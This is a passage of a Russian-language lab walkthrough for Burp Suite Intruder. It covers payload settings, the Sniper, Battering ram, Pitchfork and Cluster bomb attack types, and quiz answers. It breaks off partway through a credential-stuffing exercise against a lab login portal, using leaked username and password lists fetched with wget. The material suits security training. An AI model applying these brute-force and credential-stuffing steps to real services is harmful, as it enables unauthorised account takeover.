      &lt;li id=&quot;57ww&quot;&gt;&lt;strong&gt;Примечание:&lt;/strong&gt; При присвоении номеров в раскрывающемся списке «Набор полезной нагрузки» для нескольких позиций следуйте порядку сверху вниз, слева направо. Например, при наличии двух позиций ( &lt;code&gt;username=§pentester§&amp;amp;password=§Expl01ted§&lt;/code&gt;), первый элемент в раскрывающемся списке набора полезной нагрузки будет относиться к полю имени пользователя, а второй — к полю пароля.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;eKHG&quot;&gt;&lt;strong&gt;Настройки полезной нагрузки&lt;/strong&gt; :&lt;/li&gt;
    &lt;ul id=&quot;svD2&quot;&gt;
      &lt;li id=&quot;dcEA&quot;&gt;В этом разделе представлены параметры, специфичные для выбранного типа полезной нагрузки в текущем наборе полезной нагрузки.&lt;/li&gt;
      &lt;li id=&quot;d5v7&quot;&gt;Например, при использовании типа полезной нагрузки «Простой список» мы можем вручную добавлять или удалять полезные нагрузки из набора с помощью текстового поля &lt;strong&gt;«Добавить»&lt;/strong&gt; , &lt;strong&gt;«Вставить&lt;/strong&gt; строки» или &lt;strong&gt;«Загрузить&lt;/strong&gt; полезные нагрузки из файла». Кнопка &lt;strong&gt;«Удалить»&lt;/strong&gt; удаляет текущую выбранную строку, а кнопка &lt;strong&gt;«Очистить»&lt;/strong&gt; очищает весь список. Будьте осторожны при загрузке больших списков, так как это может привести к сбою Burp.&lt;/li&gt;
      &lt;li id=&quot;3TSI&quot;&gt;Для каждого типа полезной нагрузки предусмотрен свой набор опций и функциональных возможностей. Изучите доступные варианты, чтобы понять весь спектр возможностей.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;WKT5&quot;&gt;&lt;strong&gt;Обработка полезной нагрузки&lt;/strong&gt; :&lt;/li&gt;
    &lt;ul id=&quot;a7bd&quot;&gt;
      &lt;li id=&quot;7qsO&quot;&gt;В этом разделе мы можем определить правила, которые будут применяться к каждому элементу полезной нагрузки в наборе перед его отправкой на целевое устройство.&lt;/li&gt;
      &lt;li id=&quot;8csG&quot;&gt;Например, мы можем сделать каждое слово заглавным, пропустить данные, соответствующие шаблону регулярного выражения, или применить другие преобразования или фильтрацию.&lt;/li&gt;
      &lt;li id=&quot;9a0R&quot;&gt;Хотя вы, возможно, не будете часто использовать этот раздел, он может оказаться чрезвычайно полезным, когда для вашей атаки требуется специфическая обработка полезной нагрузки.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;kleY&quot;&gt;&lt;strong&gt;Кодирование полезной нагрузки&lt;/strong&gt; :&lt;/li&gt;
    &lt;ul id=&quot;IY3l&quot;&gt;
      &lt;li id=&quot;Zpfd&quot;&gt;Этот раздел позволяет нам настраивать параметры кодирования для наших полезных нагрузок.&lt;/li&gt;
      &lt;li id=&quot;obkq&quot;&gt;По умолчанию Burp Suite применяет кодирование URL-адресов для обеспечения безопасной передачи данных. Однако могут быть случаи, когда необходимо изменить режим кодирования.&lt;/li&gt;
      &lt;li id=&quot;fBWx&quot;&gt;Мы можем переопределить параметры кодирования URL-адреса по умолчанию, изменив список символов для кодирования или сняв флажок «Кодировать эти символы для URL-адреса».&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;Khxt&quot;&gt;Используя эти разделы, мы можем создавать и настраивать наборы полезных нагрузок в соответствии со специфическими требованиями наших атак. Такой уровень контроля позволяет нам точно настраивать полезные нагрузки для эффективного тестирования и эксплуатации.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;vsrM&quot;&gt;Вопрос: Какое правило &lt;strong&gt;обработки полезной нагрузки&lt;/strong&gt; можно использовать для добавления символов в конец каждой полезной нагрузки в наборе?&lt;/p&gt;
    &lt;p id=&quot;Jmx5&quot;&gt;Ответ: &lt;strong&gt;Add suffix&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;04LA&quot;&gt;5. Введение в типы атак&lt;/h2&gt;
  &lt;p id=&quot;0J6Y&quot;&gt;Вкладка &lt;strong&gt;«Позиции»&lt;/strong&gt;  в Burp Suite Intruder содержит выпадающее меню для выбора типа атаки. Intruder предлагает четыре типа атак, каждый из которых служит определенной цели. Давайте рассмотрим каждый из них:&lt;/p&gt;
  &lt;ol id=&quot;kVd6&quot;&gt;
    &lt;li id=&quot;9ooc&quot;&gt;&lt;strong&gt; Sniper - Снайперская атака&lt;/strong&gt; : Тип атаки «Снайперская атака» является вариантом по умолчанию и наиболее часто используемым. Он циклически перебирает полезные нагрузки, внедряя по одной полезной нагрузке за раз в каждую позицию, определенную в запросе. Снайперские атаки последовательно перебирают все полезные нагрузки, что позволяет проводить точное и целенаправленное тестирование.&lt;/li&gt;
    &lt;li id=&quot;7PeZ&quot;&gt;&lt;strong&gt; Battering ram - Таран&lt;/strong&gt; : Тип атаки «Таран » отличается от «Снайперской атаки» тем, что он отправляет все полезные нагрузки одновременно, &lt;strong&gt;при&lt;/strong&gt; этом каждая полезная нагрузка устанавливается на свою позицию. Этот тип атаки полезен при проверке условий гонки или когда необходимо одновременно отправлять полезные нагрузки.&lt;/li&gt;
    &lt;li id=&quot;g9wL&quot;&gt;&lt;strong&gt; Pitchfork - Атака типа «Вилы&lt;/strong&gt; »: Атака типа «Вилы» позволяет одновременно тестировать несколько позиций с использованием различных полезных нагрузок. Она позволяет тестировщику определить несколько наборов полезных нагрузок, каждый из которых связан с определенной позицией в запросе. Атаки типа «Вилы» эффективны, когда существуют различные параметры, требующие отдельного тестирования.&lt;/li&gt;
    &lt;li id=&quot;IaDd&quot;&gt;&lt;strong&gt;Cluster bomb - Кассетная бомба&lt;/strong&gt; : Тип атаки «Кассетная бомба» сочетает в себе подходы «Снайпер» и «Вилы». Она выполняет атаку, подобную снайперской, на каждой позиции, но одновременно проверяет все полезные нагрузки из каждого набора. Этот тип атаки полезен, когда несколько позиций имеют разные полезные нагрузки, и мы хотим проверить их все вместе.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;1wPq&quot;&gt;Каждый тип атаки имеет свои преимущества и подходит для различных сценариев тестирования. Понимание их различий помогает нам выбрать подходящий тип атаки в зависимости от целей тестирования.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;mqg0&quot;&gt;Вопрос: Какой тип атаки циклически перебирает полезные нагрузки, внедряя по одной полезной нагрузке за раз в каждую позицию, определенную в запросе?&lt;/p&gt;
    &lt;p id=&quot;UCwm&quot;&gt;Ответ: Sniper&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;8tBM&quot;&gt;6. Снайпер&lt;/h2&gt;
  &lt;p id=&quot;PcNf&quot;&gt;Тип атаки &lt;strong&gt;«Снайпер»&lt;/strong&gt; — это тип атаки по умолчанию и наиболее часто используемый в Burp Suite Intruder. Он особенно эффективен для атак с захватом одной позиции, таких как подбор паролей методом перебора или фаззинг для API- интерфейсов. При атаке «Снайпер» мы предоставляем набор полезных нагрузок, которые могут представлять собой список слов или диапазон чисел, и Intruder вставляет каждую полезную нагрузку в каждую определенную позицию в запросе.&lt;/p&gt;
  &lt;p id=&quot;LyJf&quot;&gt;Давайте обратимся к нашему предыдущему примеру шаблона:&lt;/p&gt;
  &lt;p id=&quot;FFZC&quot;&gt;Примеры должностей&lt;/p&gt;
  &lt;pre id=&quot;DpCQ&quot;&gt;POST /support/login/ HTTP/1.1
Хост: 10.49.191.239
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Длина контента: 37
Источник: http:// 10.49.191.239
Соединение: закрыто
Источник: http:// 10.49.191.239 /support/login/
Запросы на обновление, небезопасные и некорректные: 1

имя пользователя = §pentester§ &amp;amp; пароль = §Expl01ted§              &lt;/pre&gt;
  &lt;p id=&quot;Atz9&quot;&gt;В этом примере у нас определены две позиции для параметров тела &lt;code&gt;username&lt;/code&gt;атаки &lt;code&gt;password&lt;/code&gt;. В атаке типа «Снайпер» Intruder берет каждый полезный груз из набора полезных нагрузок и по очереди подставляет его в каждую определенную позицию.&lt;/p&gt;
  &lt;p id=&quot;gAcZ&quot;&gt;Предположим, у нас есть список из трех слов: &lt;code&gt;burp&lt;/code&gt;, &lt;code&gt;suite&lt;/code&gt;, и &lt;code&gt;intruder&lt;/code&gt;. Тогда Intruder сгенерирует шесть запросов:&lt;/p&gt;
  &lt;figure id=&quot;9q6e&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9c/80/9c80db58-feb7-4fef-a1b4-be352d85914d.png&quot; width=&quot;1118&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8KxZ&quot;&gt;Обратите внимание, как Intruder начинает с первой позиции ( &lt;code&gt;username&lt;/code&gt;) и подставляет в нее каждую полезную нагрузку, затем переходит ко второй позиции ( &lt;code&gt;password&lt;/code&gt;) и выполняет ту же замену полезных нагрузок. Общее количество запросов, сделанных Intruder Sniper, можно рассчитать как &lt;code&gt;requests = numberOfWords * numberOfPositions&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;2gxE&quot;&gt;Тип атаки «Снайпер» полезен, когда мы хотим провести тесты с атаками в одной позиции, используя разные полезные нагрузки для каждой позиции. Он позволяет проводить точное тестирование и анализ различных вариантов полезных нагрузок.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;cz3k&quot;&gt;Вопрос: Если бы вы использовали Sniper для фаззинга трех параметров в запросе со списком слов, содержащим 100 слов, сколько запросов потребовалось бы отправить Burp Suite для завершения атаки?&lt;/p&gt;
    &lt;p id=&quot;DmuH&quot;&gt;Ответ: 300&lt;/p&gt;
    &lt;p id=&quot;67td&quot;&gt;Вопрос: Сколько комплектов полезной нагрузки примет Sniper для проведения атаки?&lt;/p&gt;
    &lt;p id=&quot;GdTh&quot;&gt;Ответ: 1&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;fxJo&quot;&gt;7. Таран&lt;/h2&gt;
  &lt;p id=&quot;sEpg&quot;&gt;Тип атаки &lt;strong&gt;«Таран »&lt;/strong&gt; в Burp Suite Intruder отличается от «Снайпера» тем, что он размещает один и тот же груз во всех позициях одновременно, а не заменяет каждый груз в каждой позиции по очереди.&lt;/p&gt;
  &lt;p id=&quot;sqtH&quot;&gt;Вернемся к нашему предыдущему примеру шаблона:&lt;/p&gt;
  &lt;p id=&quot;KXwH&quot;&gt;Примеры должностей&lt;/p&gt;
  &lt;pre id=&quot;fxTQ&quot;&gt;POST /support/login/ HTTP/1.1
    Хост: 10.49.191.239
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Длина контента: 37
    Источник: http:// 10.49.191.239
    Соединение: закрыто
    Источник: http:// 10.49.191.239 /support/login/
    Запросы на обновление, небезопасные и некорректные: 1
    
    имя пользователя = §pentester§ &amp;amp; пароль = §Expl01ted§              &lt;/pre&gt;
  &lt;p id=&quot;ekRq&quot;&gt;Используя атаку типа «Таран» с тем же списком слов, что и раньше ( &lt;code&gt;burp&lt;/code&gt;, &lt;code&gt;suite&lt;/code&gt;, и &lt;code&gt;intruder&lt;/code&gt;), Intruder сгенерирует три запроса:&lt;/p&gt;
  &lt;figure id=&quot;IMvV&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/88/02/8802a51f-4f0a-4c16-a701-4e685de3caa5.png&quot; width=&quot;1137&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;qVek&quot;&gt;Как показано в таблице, каждый фрагмент кода из списка слов вставляется в каждую позицию для каждого запроса. При атаке типа «таран» один и тот же фрагмент кода одновременно помещается в каждую определенную позицию, что обеспечивает подход к тестированию, подобный методу перебора.&lt;/p&gt;
  &lt;p id=&quot;o4fu&quot;&gt;Атака типа «таран » полезна, когда мы хотим проверить одну и ту же полезную нагрузку одновременно в нескольких позициях без необходимости последовательной замены.&lt;/p&gt;
  &lt;p id=&quot;COtC&quot;&gt;В следующих заданиях мы рассмотрим дополнительные конфигурации и настройки, связанные с типом атаки «Таран» в игре Intruder , и изучим его применение в различных сценариях.&lt;/p&gt;
  &lt;p id=&quot;s0oZ&quot;&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;P16q&quot;&gt;Вопрос: В качестве гипотетического вопроса: Вам необходимо выполнить атаку типа «таран» (Battering ram Intruder) на приведенный выше пример запроса.&lt;/p&gt;
    &lt;p id=&quot;RNjR&quot;&gt;Если у вас есть список слов, содержащий два слова ( &lt;code&gt;admin&lt;/code&gt;и &lt;code&gt;Guest&lt;/code&gt;), и позиции в шаблоне запроса выглядят следующим образом:&lt;br /&gt;&lt;code&gt;username=§pentester§&amp;amp;password=§Expl01ted§&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;2lVL&quot;&gt;Какие параметры будут в теле первого &lt;em&gt;запроса&lt;/em&gt; , отправляемого Burp Suite?&lt;/p&gt;
    &lt;p id=&quot;aSzT&quot;&gt;Ответ: &lt;strong&gt;username=admin&amp;amp;password=admin&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;5UUG&quot;&gt;8. Вилы&lt;/h2&gt;
  &lt;p id=&quot;EBHb&quot;&gt;Тип атаки &lt;strong&gt;«Вилы»&lt;/strong&gt; в Burp Suite Intruder похож на одновременную атаку «Снайпер». В то время как «Снайпер» использует один набор полезной нагрузки для одновременной проверки всех позиций, «Вилы» используют один набор полезной нагрузки на каждую позицию (максимум до 20) и перебирают их все одновременно.&lt;/p&gt;
  &lt;p id=&quot;iktD&quot;&gt;Чтобы лучше понять Pitchfork, давайте вернемся к нашему примеру с перебором, но на этот раз с двумя списками слов:&lt;/p&gt;
  &lt;ol id=&quot;EEj5&quot;&gt;
    &lt;li id=&quot;RsKK&quot;&gt;Первый список слов содержит имена пользователей: &lt;code&gt;joel&lt;/code&gt;, &lt;code&gt;harriet&lt;/code&gt;, и &lt;code&gt;alex&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;G467&quot;&gt;Второй список слов содержит пароли: &lt;code&gt;J03l&lt;/code&gt;, &lt;code&gt;Emma1815&lt;/code&gt;, и &lt;code&gt;Sk1ll&lt;/code&gt;.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;TPDl&quot;&gt;Мы можем использовать эти два списка для проведения атаки типа «вилы» на форму входа в систему. Каждый запрос, сделанный во время атаки, будет выглядеть следующим образом:&lt;/p&gt;
  &lt;figure id=&quot;r6Z7&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/48/16/48164c66-e0b3-4a68-affa-a0ac99a0db02.png&quot; width=&quot;1120&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RiIT&quot;&gt;Как показано в таблице, Pitchfork берет первый элемент из каждого списка и подставляет его в запрос, по одному на позицию. Затем он повторяет этот процесс для следующего запроса, беря второй элемент из каждого списка и подставляя его в шаблон. Intruder продолжает эту итерацию до тех пор, пока один или все списки не исчерпают свои элементы. Важно отметить, что Intruder прекращает проверку, как только один из списков будет заполнен. Поэтому в атаках Pitchfork идеально, чтобы наборы полезной нагрузки имели одинаковую длину. Если длина наборов полезной нагрузки различается, Intruder будет отправлять запросы только до тех пор, пока не будет исчерпан более короткий список, а оставшиеся элементы в более длинном списке проверяться не будут.&lt;/p&gt;
  &lt;p id=&quot;m1tM&quot;&gt;Атака типа «Вилы» особенно полезна при проведении атак с подбором учетных данных или когда для нескольких позиций требуются отдельные наборы полезной нагрузки. Она позволяет одновременно тестировать несколько позиций с различными полезными нагрузками.&lt;/p&gt;
  &lt;p id=&quot;UVNs&quot;&gt;В следующих заданиях мы рассмотрим дополнительные конфигурации и настройки, связанные с типом атаки Pitchfork от Intruder, и изучим его применение в различных сценариях, включая атаки с подбором учетных данных.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;uF5N&quot;&gt;Вопрос: Каково максимальное количество комплектов полезной нагрузки, которые мы можем загрузить в Intruder в режиме Pitchfork?&lt;/p&gt;
    &lt;p id=&quot;KeRS&quot;&gt;Ответ: &lt;strong&gt;20&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;kSo6&quot;&gt;9. Кассетная бомба&lt;/h2&gt;
  &lt;p id=&quot;g4zi&quot;&gt;Тип атаки &lt;strong&gt;«Кластерная бомба»&lt;/strong&gt; в Burp Suite Intruder позволяет выбирать несколько наборов полезной нагрузки, по одному на каждую позицию (максимум до 20). В отличие от Pitchfork, где все наборы полезной нагрузки проверяются одновременно, «Кластерная бомба» перебирает каждый набор полезной нагрузки по отдельности, гарантируя проверку каждой возможной комбинации полезных нагрузок.&lt;/p&gt;
  &lt;p id=&quot;erYG&quot;&gt;Для иллюстрации типа атаки «Кластерная бомба» воспользуемся теми же списками слов, что и раньше:&lt;/p&gt;
  &lt;ul id=&quot;IIA1&quot;&gt;
    &lt;li id=&quot;00jG&quot;&gt;Имена пользователей: &lt;code&gt;joel&lt;/code&gt;, &lt;code&gt;harriet&lt;/code&gt;, и &lt;code&gt;alex&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;BUsS&quot;&gt;Пароли: &lt;code&gt;J03l&lt;/code&gt;, &lt;code&gt;Emma1815&lt;/code&gt;, и &lt;code&gt;Sk1ll&lt;/code&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;yDVN&quot;&gt;В этом примере предположим, что мы не знаем, какой пароль принадлежит какому пользователю. У нас есть три пользователя и три пароля, но их соответствие неизвестно. В этом случае мы можем использовать атаку типа «кластерная бомба», чтобы перебрать все возможные комбинации значений. Таблица запросов для позиций имени пользователя и пароля будет выглядеть следующим образом:&lt;/p&gt;
  &lt;figure id=&quot;IX4W&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/98/53/98536d80-d6e3-4db8-9dea-b6d606b3fd76.png&quot; width=&quot;1130&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ziCv&quot;&gt;Как показано в таблице, тип атаки «Кластерная бомба» перебирает все возможные комбинации предоставленных наборов полезной нагрузки. Он проверяет каждую возможность, подставляя каждое значение из каждого набора полезной нагрузки в соответствующую позицию в запросе.&lt;/p&gt;
  &lt;p id=&quot;bSnT&quot;&gt;Атаки типа «кластерная бомба» могут генерировать значительный объем трафика, поскольку проверяют каждую комбинацию. Количество запросов, выполняемых атакой типа «кластерная бомба», можно рассчитать, умножив количество строк в каждом наборе полезной нагрузки. Важно проявлять осторожность при использовании этого типа атаки, особенно при работе с большими наборами полезной нагрузки. Кроме того, при использовании Burp Community и его функции ограничения скорости Intruder выполнение атаки типа «кластерная бомба» с набором полезной нагрузки среднего размера может занять значительно больше времени.&lt;/p&gt;
  &lt;p id=&quot;J7PN&quot;&gt;Тип атаки «Кластерная бомба» особенно полезен для сценариев подбора учетных данных методом перебора, когда соответствие между именами пользователей и паролями неизвестно.&lt;/p&gt;
  &lt;p id=&quot;rvru&quot;&gt;В следующих заданиях мы рассмотрим дополнительные конфигурации и настройки, связанные с типом атаки «Кластерная бомба» в Intruder, и изучим ее применение в различных сценариях.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;VwAY&quot;&gt;Вопрос:&lt;/p&gt;
    &lt;p id=&quot;w3BO&quot;&gt;У нас есть три набора полезной нагрузки. Первый набор содержит 100 строк, второй — 2 строки, а третий — 30 строк.&lt;/p&gt;
    &lt;p id=&quot;4N7d&quot;&gt;Сколько запросов выполнит Intruder, используя эти наборы полезной нагрузки, в атаке с применением кластерной бомбы?&lt;/p&gt;
    &lt;p id=&quot;61rp&quot;&gt;Ответ:&lt;strong&gt;6000  (100 * 2 * 30)&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;h57X&quot;&gt;10. Практический пример&lt;/h2&gt;
  &lt;p id=&quot;buPl&quot;&gt;Чтобы применить наши теоретические знания на практике, мы попытаемся получить доступ к порталу поддержки, расположенному по адресу [адрес портала] &lt;code&gt;http://10.49.129.42/support/login&lt;/code&gt;. Этот портал имеет стандартную структуру авторизации, и, изучив его исходный код, мы обнаруживаем, что никаких мер защиты не реализовано:&lt;/p&gt;
  &lt;p id=&quot;eUPG&quot;&gt;Исходный код формы входа в систему поддержки&lt;/p&gt;
  &lt;pre id=&quot;WS9V&quot;&gt;---
&amp;lt;form method=&amp;quot;POST&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;form-floating mb-3&amp;quot;&amp;gt;
        &amp;lt;input class=&amp;quot;form-control&amp;quot; type=&amp;quot;text&amp;quot; name=username  placeholder=&amp;quot;Username&amp;quot; required&amp;gt;
        &amp;lt;label for=&amp;quot;username&amp;quot;&amp;gt;Username&amp;lt;/label&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div class=&amp;quot;form-floating mb-3&amp;quot;&amp;gt;
        &amp;lt;input class=&amp;quot;form-control&amp;quot; type=&amp;quot;password&amp;quot; name=password  placeholder=&amp;quot;Password&amp;quot; required&amp;gt;
        &amp;lt;label for=&amp;quot;password&amp;quot;&amp;gt;Password&amp;lt;/label&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div class=&amp;quot;d-grid&amp;quot;&amp;gt;&amp;lt;button class=&amp;quot;btn btn-primary btn-lg&amp;quot; type=&amp;quot;submit&amp;quot;&amp;gt;Login!&amp;lt;/button&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/form&amp;gt;
---&lt;/pre&gt;
  &lt;p id=&quot;P3aV&quot;&gt;Ввиду отсутствия защитных мер у нас есть несколько вариантов использования этой уязвимости, включая атаку кассетными бомбами для подбора учетных данных методом перебора. Однако в нашем распоряжении есть и более простой подход.&lt;/p&gt;
  &lt;p id=&quot;c6zI&quot;&gt;Примерно три месяца назад компания Bastion Hosting стала жертвой кибератаки, в результате которой были скомпрометированы имена пользователей, адреса электронной почты и пароли сотрудников в открытом виде. Хотя пострадавшим сотрудникам было рекомендовано незамедлительно сменить пароли, существует вероятность, что некоторые проигнорировали этот совет.&lt;/p&gt;
  &lt;p id=&quot;utYV&quot;&gt;Поскольку у нас есть список известных имен пользователей, каждое из которых сопровождается соответствующим паролем, мы можем использовать атаку с подбором учетных данных вместо прямого перебора. Этот метод оказывается более выгодным и значительно быстрее, особенно при использовании версии Intruder с ограничением скорости запросов. Чтобы получить доступ к утёкшим учетным данным, загрузите файл с целевого компьютера, используя следующую команду в AttackBox: &lt;code&gt;wget &lt;a href=&quot;http://10.49.129.42:9999/Credentials/BastionHostingCreds.zip&quot; target=&quot;_blank&quot;&gt;http://10.49.129.42:9999/Credentials/BastionHostingCreds.zip&lt;/a&gt;&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;c8MD&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e1/25/e12552ad-5162-419b-997b-6524aca84f6e.png&quot; width=&quot;346&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;CfxD&quot;&gt;Учебное пособие&lt;/h4&gt;
  &lt;p id=&quot;ebvj&quot;&gt;Для решения этой задачи выполните следующие шаги, чтобы провести атаку с использованием украденных учетных данных с помощью макросов Burp:&lt;/p&gt;
  &lt;ol id=&quot;ko1s&quot;&gt;
    &lt;li id=&quot;TusY&quot;&gt;Скачайте и подготовьте списки слов:&lt;br /&gt;Эти списки содержат информацию об утечках электронных писем, имен пользователей и паролей соответственно. Последний список содержит объединенные списки электронных писем и паролей. Мы будем использовать эти &lt;code&gt;usernames.txt&lt;/code&gt;списки &lt;code&gt;passwords.txt&lt;/code&gt;.&lt;/li&gt;
    &lt;ul id=&quot;An94&quot;&gt;
      &lt;li id=&quot;8Ytq&quot;&gt;Скачайте и распакуйте файл BastionHostingCreds.zip.&lt;/li&gt;
      &lt;li id=&quot;kPN2&quot;&gt;В извлеченной папке найдите следующие списки слов:&lt;/li&gt;
      &lt;ul id=&quot;bopf&quot;&gt;
        &lt;li id=&quot;bfr5&quot;&gt;emails.txt&lt;/li&gt;
        &lt;li id=&quot;nwvg&quot;&gt;usernames.txt&lt;/li&gt;
        &lt;li id=&quot;wXLQ&quot;&gt;passwords.txt&lt;/li&gt;
        &lt;li id=&quot;NHct&quot;&gt;combined.txt&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;OLyr&quot;&gt;Перейдите по указанному адресу &lt;a href=&quot;http://10.49.129.42/support/login&quot; target=&quot;_blank&quot;&gt;http://10.49.129.42/support/login&lt;/a&gt;в вашем браузере. Активируйте Burp Proxy и попробуйте войти в систему, перехватив запрос в вашем прокси. Обратите внимание, что для этого шага подойдут любые учетные данные.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;IrX2&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ac/3a/ac3acf8c-16d9-4659-ae1a-bf1dec032884.png&quot; width=&quot;666&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;WE4D&quot;&gt;
    &lt;li id=&quot;AZrM&quot;&gt;Отправьте перехваченный запрос из прокси-сервера в Intruder, щелкнув правой кнопкой мыши и выбрав «Отправить в Intruder» или используя &lt;code&gt;Ctrl + I&lt;/code&gt;.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;CVHL&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3c/0d/3c0d5c85-a15e-469a-bb0b-5f6fda14a0e3.png&quot; width=&quot;654&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;SAEf&quot;&gt;
    &lt;li id=&quot;SOq8&quot;&gt;На вкладке &amp;quot;Позиции&amp;quot; убедитесь, что выбраны только параметры имени пользователя и пароля. Снимите все дополнительные флажки, такие как сессионные cookie.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;1QcZ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c2/dc/c2dcc376-2683-4646-a2e5-99f57017c732.png&quot; width=&quot;777&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;9vvD&quot;&gt;
    &lt;li id=&quot;kuxs&quot;&gt;Установите тип атаки на «Вилы».&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;jA7g&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c7/2e/c72e880b-8c67-4450-a4bd-7e5c7494e3ce.png&quot; width=&quot;269&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;uQYf&quot;&gt;
    &lt;li id=&quot;0cqT&quot;&gt;Перейдите на вкладку &amp;quot;Полезные нагрузки&amp;quot;. Вы найдете два набора полезных нагрузок, доступных для полей имени пользователя и пароля.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;6iTs&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9a/e9/9ae9e61d-2466-4bf3-9e82-d9fb6bf14a76.png&quot; width=&quot;308&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;3Kh3&quot;&gt;
    &lt;li id=&quot;gA6D&quot;&gt;В первом наборе полезной нагрузки (для имен пользователей) перейдите в раздел «Параметры полезной нагрузки», выберите «Загрузить» и выберите нужный &lt;code&gt;usernames.txt&lt;/code&gt;пункт из списка.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;67y1&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9a/5c/9a5ce902-32a3-40a2-b253-99f038462bdc.png&quot; width=&quot;464&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;CYRS&quot;&gt;
    &lt;ul id=&quot;sIm4&quot;&gt;
      &lt;li id=&quot;xicp&quot;&gt;Повторите тот же процесс для второго набора данных (для паролей), используя &lt;code&gt;passwords.txt&lt;/code&gt;список.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;1anF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/07/b1/07b1b785-d5b5-4453-b6e4-13992eba0b47.png&quot; width=&quot;469&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;m37E&quot;&gt;&lt;/p&gt;
  &lt;ol id=&quot;BXc3&quot;&gt;
